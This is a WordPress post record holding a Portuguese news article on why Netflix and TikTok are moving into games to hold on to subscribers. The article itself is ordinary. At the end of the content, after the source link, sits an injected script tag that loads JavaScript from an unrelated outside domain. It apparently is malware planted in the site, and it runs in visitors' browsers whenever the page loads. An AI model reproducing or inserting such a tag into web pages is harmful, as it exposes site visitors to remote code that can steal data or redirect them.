{"id":2146,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/por-que-netflix-e-tiktok-estao-recorrendo-a-games-para-garantir-seu-futuro-01-07-2022\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"por-que-netflix-e-tiktok-estao-recorrendo-a-games-para-garantir-seu-futuro-01-07-2022","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/por-que-netflix-e-tiktok-estao-recorrendo-a-games-para-garantir-seu-futuro-01-07-2022\/","title":{"rendered":"Por que Netflix e TikTok est\u00e3o recorrendo a games para garantir seu futuro &#8211; 01\/07\/2022"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>A guerra do <a href=\"https:\/\/www.uol.com.br\/tilt\/streaming\/\">streaming<\/a> est\u00e1 esquentando. Em mar\u00e7o, a Disney adiou a data de lan\u00e7amento de s\u00e9rie &#8220;<a href=\"https:\/\/www.uol.com.br\/splash\/noticias\/2022\/05\/27\/obi-wan-kenobi-revira-o-passado-em-busca-de-novidades----e-encontra.htm\" target=\"_blank\" rel=\"noopener\">Obi-Wan <\/a><a href=\"https:\/\/www.uol.com.br\/splash\/noticias\/2022\/05\/27\/obi-wan-kenobi-revira-o-passado-em-busca-de-novidades----e-encontra.htm\" target=\"_blank\" rel=\"noopener\">Kenob<\/a>i&#8221; para 27 de maio, visando coincidir com o lan\u00e7amento da principal s\u00e9rie da Netflix, &#8220;<a href=\"https:\/\/www.uol.com.br\/splash\/series\/stranger-things\/\">Stranger Things<\/a>&#8220;. Isso ap\u00f3s o an\u00fancio pela <a href=\"https:\/\/www.uol.com.br\/tilt\/google\/\">Google<\/a> de que o &#8220;<a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2021\/06\/07\/youtube-shorts-conheca-a-plataforma-de-videos-curtos-lancada-no-brasil.htm\">YouTube Shorts<\/a>&#8221; igualou os 1,5 bilh\u00e3o de assinantes do TikTok no formato de v\u00eddeos de curta dura\u00e7\u00e3o.<\/p>\n<p>Diante da concorr\u00eancia cada vez maior, <a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/efe\/2022\/06\/24\/netflix-demite-a-300-funcionarios-apos-perda-de-assinantes.htm\">queda do n\u00famero de assinantes<\/a> e perda de conte\u00fado, a Netflix e o TikTok precisam diversificar. E para isso est\u00e3o recorrendo aos games. Com mais de tr\u00eas bilh\u00f5es de jogadores em todo o mundo e um mercado estimado em US$ 200 bilh\u00f5es, a ind\u00fastria de games \u00e9 tanto popular quanto lucrativa.<\/p>\n<p>A Netflix <a href=\"https:\/\/www.uol.com.br\/start\/ultimas-noticias\/2022\/01\/21\/games-na-netflix-ceo-quer-os-melhores-novo-jogo-chega-em-fevereiro.htm\" target=\"_blank\" rel=\"noopener\">lan\u00e7ou no ano passado o servi\u00e7o de games m\u00f3veis<\/a> para todos seus assinantes. Entre eles estavam dois games ligados a &#8220;Stranger Things&#8221;. Enquanto isso, o TikTok tem oferecido games para usu\u00e1rios seletos desde 2019 e muito provavelmente expandir\u00e1 essa oferta.<\/p>\n<h2>Mantendo os atuais assinantes<\/h2>\n<p>Tanto a Netflix quanto o TikTok transformaram o setor de entretenimento.<\/p>\n<p>\u00c0 primeira vista, ambas parecem diametralmente opostas. A primeira ganha receita por meio de assinaturas, gastando milh\u00f5es de d\u00f3lares em licenciamento ou cria\u00e7\u00e3o de conte\u00fado. A segunda ganha dinheiro encaminhando seu p\u00fablico aos anunciantes, com a ajuda de &#8220;influenciadores&#8221; de streaming, que dominaram a arte do v\u00eddeo de curta dura\u00e7\u00e3o.<\/p>\n<p>Mas as duas plataformas compartilham algumas caracter\u00edsticas fundamentais. Ambas:<\/p>\n<ol>\n<li>fornecem conte\u00fado de v\u00eddeo via internet<\/li>\n<li>buscam um crescimento constante de sua base de usu\u00e1rios<\/li>\n<li>beneficiam-se de conte\u00fado exclusivo e original<\/li>\n<li>coletam dados dos usu\u00e1rios e o utilizam para melhorar seus servi\u00e7os<\/li>\n<li>enfrentam concorr\u00eancia consider\u00e1vel e crescente de outras empresas e da m\u00eddia de entretenimento.<\/li>\n<\/ol>\n<p>Muitas s\u00e9ries de televis\u00e3o e <a href=\"https:\/\/www.uol.com.br\/splash\/filmes\/\">filmes<\/a> adorados est\u00e3o saindo da Netflix e migrando para plataformas concorrentes. Ao mesmo tempo, o TikTok tamb\u00e9m est\u00e1 perdendo influenciadores de v\u00eddeo para outras plataformas. As duas empresas est\u00e3o buscando novas estrat\u00e9gias para conte\u00fado original, manuten\u00e7\u00e3o e crescimento de assinantes.<\/p>\n<p>\u00c9 a\u00ed que entram os games. Segundo um relat\u00f3rio de h\u00e1bitos do consumidor, 79% da popula\u00e7\u00e3o online do mundo jogam games. E entre a gera\u00e7\u00e3o do mil\u00eanio os games s\u00e3o a mais popular ou a segundo mais popular atividade de entretenimento, atr\u00e1s de assistir em plataformas de v\u00eddeo outras pessoas jogando games.<\/p>\n<h2>Por que os games s\u00e3o um espa\u00e7o atrativo?<\/h2>\n<p>Games geralmente envolvem per\u00edodos de engajamento mais longos do que s\u00e9ries e filmes. Isso se deve aos princ\u00edpios psicol\u00f3gicos de motiva\u00e7\u00e3o por tr\u00e1s da atividade de jogar.<\/p>\n<p>Pessoas que investem seu tempo em games com frequ\u00eancia buscam uma narrativa adicional (ou &#8220;folclore&#8221;) na forma de s\u00e9ries e filmes. Por sua vez, o p\u00fablico que dedica seu tempo a s\u00e9ries tamb\u00e9m procura nos videogames por narrativas alternativas e oportunidades de constru\u00e7\u00e3o de mundos. Assim, as s\u00e9ries levam os clientes aos games e os games os mant\u00eam engajados no intervalo entre as temporadas.<\/p>\n<p>Esta t\u00e9cnica de contar uma hist\u00f3ria por m\u00faltiplas plataformas \u00e9 conhecida como &#8220;narrativa transm\u00eddia&#8221; e \u00e9 usada com grande sucesso por empresas de teledifus\u00e3o, <a href=\"https:\/\/www.uol.com.br\/tilt\/redes-sociais\/ \">redes sociais<\/a> e games. \u00c9 nisso que as plataformas est\u00e3o apostando para reter o p\u00fablico em seus ecossistemas de entretenimento.<\/p>\n<p>A cria\u00e7\u00e3o de conte\u00fado passou por um &#8220;boom&#8221; desde o in\u00edcio da pandemia e o p\u00fablico mais jovem est\u00e1 passando mais tempo do que nunca assistindo online conte\u00fado gerado por usu\u00e1rios. Ele est\u00e1 particularmente ligado a games como &#8220;Crab Game&#8221; (uma vers\u00e3o criada por f\u00e3 da popular s\u00e9rie &#8220;Round 6&#8221; da Netflix), que tamb\u00e9m conta com milh\u00f5es de horas de visualiza\u00e7\u00e3o no servi\u00e7o de streaming Twitch.<\/p>\n<p>A ascens\u00e3o do &#8220;Minecraft&#8221; como popular &#8220;modding game&#8221; (no qual os jogadores podem transformar coletivamente o game por meio de suas pr\u00f3prias modifica\u00e7\u00f5es) tamb\u00e9m ajudou os servi\u00e7os de streaming de v\u00eddeo e assinatura. V\u00eddeos relacionados ao &#8220;Minecraft&#8221; j\u00e1 foram assistidos mais de um trilh\u00e3o de vezes no YouTube.<\/p>\n<p>O sucesso da narrativa transm\u00eddia proporciona oportunidades adicionais para empresas que buscam explorar seu conte\u00fado licenciado ou original.<\/p>\n<h2>Propriedade intelectual e an\u00e1lise de dados<\/h2>\n<p>N\u00f3s sabemos que os games proporcionam aten\u00e7\u00e3o, motiva\u00e7\u00e3o, emo\u00e7\u00e3o e socializa\u00e7\u00e3o entre os jogadores.<\/p>\n<p>Empresas como a plataforma de games STEAM demonstraram que os dados dos usu\u00e1rios podem influenciar a cria\u00e7\u00e3o de novo conte\u00fado por parte dos desenvolvedores de games. De fato, esta \u00e9 uma vantagem de mercado que a Netflix e o TikTok possuem sobre seus concorrentes.<\/p>\n<p>Por exemplo, \u00e9 poss\u00edvel facilmente imaginar que um personagem que \u00e9 popular em um game, como revelado pelos dados dos jogadores, teria maior probabilidade de aparecer em uma futura s\u00e9rie baseada naquele jogo.<\/p>\n<h2>Netflix e TikTok podem perder muito<\/h2>\n<p>Quando falamos da guerra de streaming e da maior concorr\u00eancia, n\u00e3o se trata de um campo de jogo nivelado. H\u00e1 diferen\u00e7as cruciais entre a Netflix, TikTok e outros concorrentes, como Disney+, Amazon Prime, Apple TV e YouTube.<\/p>\n<p>A Netflix \u00e9 uma empresa de streaming e o TikTok \u00e9 uma empresa de hospedagem de v\u00eddeos. Por sua vez, com base na receita, a Disney \u00e9 uma empresa de parques tem\u00e1ticos e brinquedos, a Amazon \u00e9 uma empresa de vendas online, a Apple \u00e9 uma empresa de computa\u00e7\u00e3o e telefones, a Google uma de busca e publicidade.<\/p>\n<p>Para essas empresas, streaming e hospedagem de v\u00eddeos \u00e9 um pequeno neg\u00f3cio paralelo que proporciona dados \u00fateis para alimenta\u00e7\u00e3o de uma m\u00e1quina maior. Logo, na guerra do streaming, elas n\u00e3o t\u00eam muito a perder, j\u00e1 que podem tocar esses neg\u00f3cios mesmo que deem preju\u00edzo.<\/p>\n<p>O mesmo n\u00e3o vale para a Netflix e o TikTok. Ao recorrerem aos games, elas est\u00e3o se agarrando a uma corda salva-vidas que realmente necessitam.<\/p>\n<p><em>Autores:<\/em><\/p>\n<ul>\n<li><em>James Birt \u00e9 professor associado de Games de Computador e reitor Associado de Engajamento, Universidade Bond.<\/em><\/li>\n<li><em>Darren Paul Fisher \u00e9 professor assistente, diretor de dire\u00e7\u00e3o do Departamento de Cinema, V\u00eddeo e M\u00eddia Criativa, Universidade Bond.<\/em><\/li>\n<\/ul>\n<p><em>Os autores n\u00e3o trabalham, prestam consultoria, possuem participa\u00e7\u00e3o acion\u00e1ria ou recebem fundos de quaisquer empresas ou organiza\u00e7\u00f5es que se beneficiariam com este artigo e declaram n\u00e3o ter qualquer filia\u00e7\u00e3o relevante al\u00e9m de sua fun\u00e7\u00e3o acad\u00eamica. <\/em><\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/07\/01\/por-que-netflix-e-tiktok-estao-recorrendo-a-games-para-garantir-seu-futuro.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A guerra do streaming est\u00e1 esquentando. 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